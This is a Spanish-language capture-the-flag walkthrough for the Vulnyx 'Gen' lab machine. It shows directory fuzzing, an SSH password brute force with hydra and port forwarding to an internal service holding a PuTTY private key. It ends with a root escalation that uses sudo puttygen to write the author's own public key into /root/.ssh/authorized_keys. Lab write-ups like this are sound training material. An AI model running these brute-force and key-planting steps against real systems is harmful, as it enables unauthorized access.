# Gen - Vulnyx Machine

¿Qué tal? ¿Quieres un CTF? ¿Acaso dijiste "no"? 🤨

![Relación submarino Franco gif de perros chihuahua Víctor Exclusión enviar](https://media3.giphy.com/media/ZCOnwSVWybkJ2/source.gif align="center")

Aun así, aquí tienes un CTF.

Agradecemos a [d4t4s3c](https://d4t4s3c.medium.com/) por la creación de este CTF y como no olvidar a la comunidad de [Vulnyx](https://vulnyx.com/).

**Descripción de la maquina.**

| Sistema Operativo | Linux 🐧 |
| --- | --- |
| Dificultad | Difícil |
| Lanzamiento | 13/02/2024 |
| Creador | d4t4s3c |
| Primer Usuario | punt4n0 |
| Primer Root | punt4n0 |

## Enumeración

Empecemos con nuestro `nmap`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713985501129/103d767b-c9b6-4e52-a5db-bbea29865b84.png align="center")

Bueno, vamos a continuar con la exploración del puerto `80`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713985924398/92058bb3-2567-4c35-bbe7-4711a62d0f4c.png align="center")

![Astonished Dog GIFs | Tenor](https://media1.tenor.com/m/5_E52aMtD4EAAAAC/bobawooyo-dog-confused.gif align="center")

Ah buenooo, continuemos con un `fuzzing` de directorios y archivos...

```bash
gobuster dir -u http://192.168.1.72/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js,css,txt -t 50
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713986236665/652666f3-e751-4d5e-b831-25ede90c802e.png align="center")

`note.txt`?

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713987609404/c767e1e5-64fd-46c9-bf7e-1df312dc120e.png align="center")

La nota, hace mención de un puerto interno (9999) que contiene una llave privada para el usuario `Peter`, esto dicho por `Mark`.

Con esto sabemos que tenemos dos usuarios, vamos a realizar fuerza bruta al servicio SSH con el usuario `mark` ya que para el usuario `peter` nos esta indicando que requiere de una llave privada... Aunque lo podemos verificar:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713990380367/cf8cee33-e995-4ecd-a562-ed3b7c86a65a.png align="center")

Y en efecto, para conectarse con el usuario `peter` requerimos una llave.

## Fuerza bruta SSH

Realizamos fuerza bruta contra el usuario `mark`, el cual admite una contraseña para autenticarse.

```bash
hydra -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100000.txt -l mark ssh://192.168.1.72 -t 10
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713991386050/59c63c13-b0a3-49cc-8f55-0c20e160a080.png align="center")

![Me lleva la cachetada — Eres viejo (Eres viejo) Roto y oxidado Estás tan...](https://64.media.tumblr.com/tumblr_m1h1fzd7GT1qh2a1qo3_r1_400.gif align="center")

Excelente, tenemos unas credenciales, vamos a conectarnos...

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713991542286/36cd5008-afc6-498b-bfa0-e24c1388c98f.png align="center")

Perooo, solo obtenemos un banner de advertencia, que no es utilidad y aparte no podemos realizar ninguna acción.

![Mapache GIF - Mapache - Discover & Share GIFs](https://media.tenor.com/k2MyATssuKcAAAAM/racoon.gif align="center")

Recordemos que en el archivo `note.txt` mencionaba el puerto 9999 abierto internamente. Así que podemos hacer un `Port Forwarding` del puerto, por medio de un tunnel SSH.

### Port Forwarding

```bash
ssh -L 9999:127.0.0.1:9999 mark@192.168.1.72
```

Con esto, podemos ver el contenido del puerto interno 9999 desde nuestro *localhost*.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713991715526/19cb1787-13fd-4f0a-9247-1d88d40afc9f.png align="center")

Vamos a realizar un `fuzzing` de directorios y archivos, debido a que supuestamente se aloja una llave privada, vamos a incluir algunas exenciones comunes para las llaves SSH.

```bash
.pub
.ppk
.pem
.key
```

```bash
gobuster dir -u http://127.0.0.1:9999/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,css,js,php,txt,pub,ppk,pem,key -t 100
```

No obtuve ningún resultado, así que cambie de diccionario (después de enterarme que no estaba el valor "id\_rsa")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713993015981/375f2b41-9c36-462b-b16b-c07c27cc6c36.png align="center")

Así que busque otro diccionario...

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713993052439/3d492530-035b-4775-9488-d2717c588390.png align="center")

Y ahí la tenemos, intentemos nuevamente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713993221146/046a7a8c-8039-4149-9f23-25b783a338a0.png align="center")

> Los archivos .ppk son creados por el programa PuTTYgen (generador de claves SSH).

Muy bien, ya tenemos una llave privada, pero al parecer tenemos que pasarla a un formato de lo contrario no nos serviria (mencionado en `nota.txt`).

## **PuTTYgen &gt; OpenSSH**

Para poder pasar de un formato a otro vamos a requerir el paquete `putty-tools`.

```bash
#installation
sudo apt install -y putty-tools

#formatting
puttygen id_rsa.ppk -O private-openssh -o id_rsa
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713995479882/03fa2862-13e0-4938-90f9-b1b08fba8929.png align="center")

Y aquí lo tenemos, vamos a probarla.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713995541938/0f70c564-7edd-45aa-84b4-ff61f441f029.png align="center")

![Computer peli GIF - Buscar en GIFER](https://i.gifer.com/QWeA.gif align="center")

## Escalada de privilegios

Realice una exploración con el usuario `peter` en el sistema, pero no resulte con nada.

Pero observando los usuarios del sistema, recordé que tenemos la contraseña del usuario `mark`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713996975215/2cd2e286-1292-43f2-ba00-9186d16a4fc0.png align="center")

Así que pase al usuario `mark` en busca de algo que nos permita escalar privilegios.

Y si, enumerando los permisos sudo me tope con esto.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713997708267/3d3a98ce-d1f0-473e-83a8-db7bf71557ff.png align="center")

Podemos ejecutar el binario `puttygen` como `root`, por lo tanto, lo que podemos hacer es generar un par de llaves SSH para el usuario `root` y con algunas funciones extras del binario podernos conectar por SSH.

1. Creamos la llave privada en formato OpenSSH
    

```bash
puttygen -t rsa -o id_rsa -O private-openssh
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713997895543/d55350b0-5e82-4bdb-baa2-01643bf1be1a.png align="center")

2. Con la llave privada y ejecutando el binario como `root`, generamos la llave publica y la almacenamos en `/root/.ssh/authorized_keys`
    

```bash
sudo -u root /usr/bin/puttygen id_rsa -o /root/.ssh/authorized_keys -O public-openssh
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713998192176/4b321718-d7c2-4e43-92d0-c68024d9e78f.png align="center")

Y con esto hemos concluido la maquina.

![Margarito Dance GIF - Margarito Dance Feliz - Discover & Share GIFs |  Friday dance, Cool gifs, Dance](https://i.pinimg.com/originals/ba/17/ce/ba17ce2befef37ae3e47b3d76199fd18.gif align="center")

Nos vemos querido lector!!

![Why dogs are better than cats: represented in GIF form. | Page 4 | NeoGAF](https://25.media.tumblr.com/tumblr_lzgr404TJh1rprrg1o1_400.gif align="center")

---

*Referencias*

1. [VulNyx | Gen (Walkthrough)](https://d4t4s3c.medium.com/vulnyx-gen-e508d99978e9)
    
2. [Banda Vallarta Show - Provócame](https://www.youtube.com/watch?v=WxNc1WPFIEU&ab_channel=BandaVallartaShow)
